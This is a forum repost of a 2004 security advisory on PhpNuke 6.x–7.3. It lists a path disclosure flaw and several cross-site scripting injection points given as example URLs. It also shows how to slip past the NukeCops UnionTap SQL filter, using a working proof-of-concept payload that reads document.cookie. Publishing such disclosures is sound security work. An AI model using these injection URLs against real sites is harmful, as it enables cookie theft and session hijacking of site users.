Torna indietro   Serverplan Forum > Serverplan comunica > Vulnerabilità

Rispondi
 
LinkBack Strumenti discussione Modalità visualizzazione
  #1 (permalink)  
Vecchio 18-05-2004, 08.00.41
Administrator
Amministratore
 
Data registrazione: 12-09-2002
Messaggi: 3,420
serverplan ha disabilitato la reputazione
Predefinito Multiple vulnerabilities in PhpNuke 6.x - 7.3

{================================================= ===============================}
{ [waraxe-2004-SA#030] }
{================================================= ===============================}
{ }
{ [ Multiple vulnerabilities in PhpNuke 6.x - 7.3 ] }
{ }
{================================================= ===============================}

Author: Janek Vind "waraxe"
Date: 17. May 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=30


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

So PhpNuke version 7.3 is out allready and has improved by security means.
Anyway, i have found many unpublished security flaws in it, not fixed yet in 7.3
version and one security hole is brandnew - from integrated nukecops union tap
Time is money, so let's start our journey to PhpNuke's (in)security world...


A. Full path disclosure:

A1 - full path disclosure through unsanitized variable "show" in "WebLinks" module:

http://localhost/nuke73/modules.php?...=1&show=foobar

Warning: Division by zero in D:\apache_wwwroot\nuke73\modules\Web_Links\index.p hp on line 774



B. Cross-site scripting aka XSS:

B1 - XSS through uninitialized variable "optionbox" in "News" module:

http://localhost/nuke73/modules.php?...d=1&optionbox=[xss code here]


B2 - XSS through unsanitized variable "date" in "Statistics" module:

http://localhost/nuke73/modules.php?...&month=5&date=[xss code here]


B3 - XSS through unsanitized variables in "Stories_Archive" module:

http://localhost/nuke73/modules.php?...ow_month&year=[xss code here]&month=05&month_l=May
http://localhost/nuke73/modules.php?...ar=2004&month=[xss code here]&month_l=May
http://localhost/nuke73/modules.php?...th=05&month_l=[xss code here]


B4 - XSS through unsanitized variables in "Surveys" module:

http://localhost/nuke73/modules.php?...pollID=1&mode=[xss code here]&order=0&thold=0
http://localhost/nuke73/modules.php?...=thread&order=[xss code here]&thold=0
http://localhost/nuke73/modules.php?...&order=&thold=[xss code here]


B5 - XSS through nukecops UnionTap Sql Prevention Code:

Well, you know, this is my favourite one - securing one hole will induct new one.
Let's look at beginning of the "mainfile.php" from PhpNuke 7.3 :


//Union Tap
//Copyright Zhen-Xjell 2004 http://nukecops.com
//Beta 3 Code to prevent UNION SQL Injections
unset($matches);
unset($loc);
if (preg_match("/([OdWo5NIbpuU4V2iJT0n]{5}) /", rawurldecode($loc=$_SERVER["QUERY_STRING"]), $matches)) {
die("YOU ARE SLAPPED BY <a href=\"http://nukecops.com\">NUKECOPS</a> BY USING '$matches[1]' INSIDE '$loc'.");
}


So this clever code will catch up nonmasked sql injection attempts, made through "GET" request...
Let's try this request:

http://localhost/nuke73/index.php?fo...union%20select

and we see nice message like this:

YOU ARE SLAPPED BY NUKECOPS BY USING 'union' INSIDE 'foo=bar%20union%20select'.

Uh, how scary...
But what, if we issue request like this (try it with M$ Internet Explorer for succes!):

http://localhost/nuke73/index.php?foo=bar%20union%20select%20&lt;script&gt ;alert(document.cookie);&lt;/script&gt;

Oops, nice case of cross-site scripting! And because anti-xss filtering code is located
AFTER UnionTap, then we can use even most common "&lt;script&gt;" tags...

Heya to nukecops and have a nice day



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Wanna know, how to patch those security holes? Then you are welcome to visit
forum on my homepage at http://www.waraxe.us/forum/
See ya there!



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to all bugtraq readers in Estonia! Tervitused!
Special greets to http://www.gamecheaters.us staff!
Rispondi citando
Rispondi

Strumenti discussione
Modalità visualizzazione

Regole di scrittura
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is Attivato
Le faccine sono Attivato
Il codice [IMG] è Attivato
Il codice HTML è Disattivato
Trackbacks are Attivato
Pingbacks are Attivato
Refbacks are Attivato


Discussioni simili
Discussione Autore discussione Forum Risposte Ultimo messaggio
PhpNuke 7.6=>x Multiple vulnerabilities serverplan Vulnerabilità 0 04-04-2005 18.53.47
Multiple vulnerabilities in NukeJokes module for PhpNuke serverplan Vulnerabilità 0 09-05-2004 01.45.37
Multiple vulnerabilities in Error Manager v2.1 for PhpNuke serverplan Vulnerabilità 0 18-03-2004 19.02.18
Multiple vulnerabilities in 4nalbum module for PhpNuke serverplan Vulnerabilità 0 15-03-2004 21.23.25
Multiple vulnerabilities in XMB 1.8 serverplan Vulnerabilità 0 23-02-2004 23.35.52


Tutti gli orari sono GMT +1. Adesso sono le 14.36.40.


Powered by vBulletin versione 3.7.3
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Content Relevant URLs by vBSEO 3.1.0
Traduzione italiana : www.vbulletin.it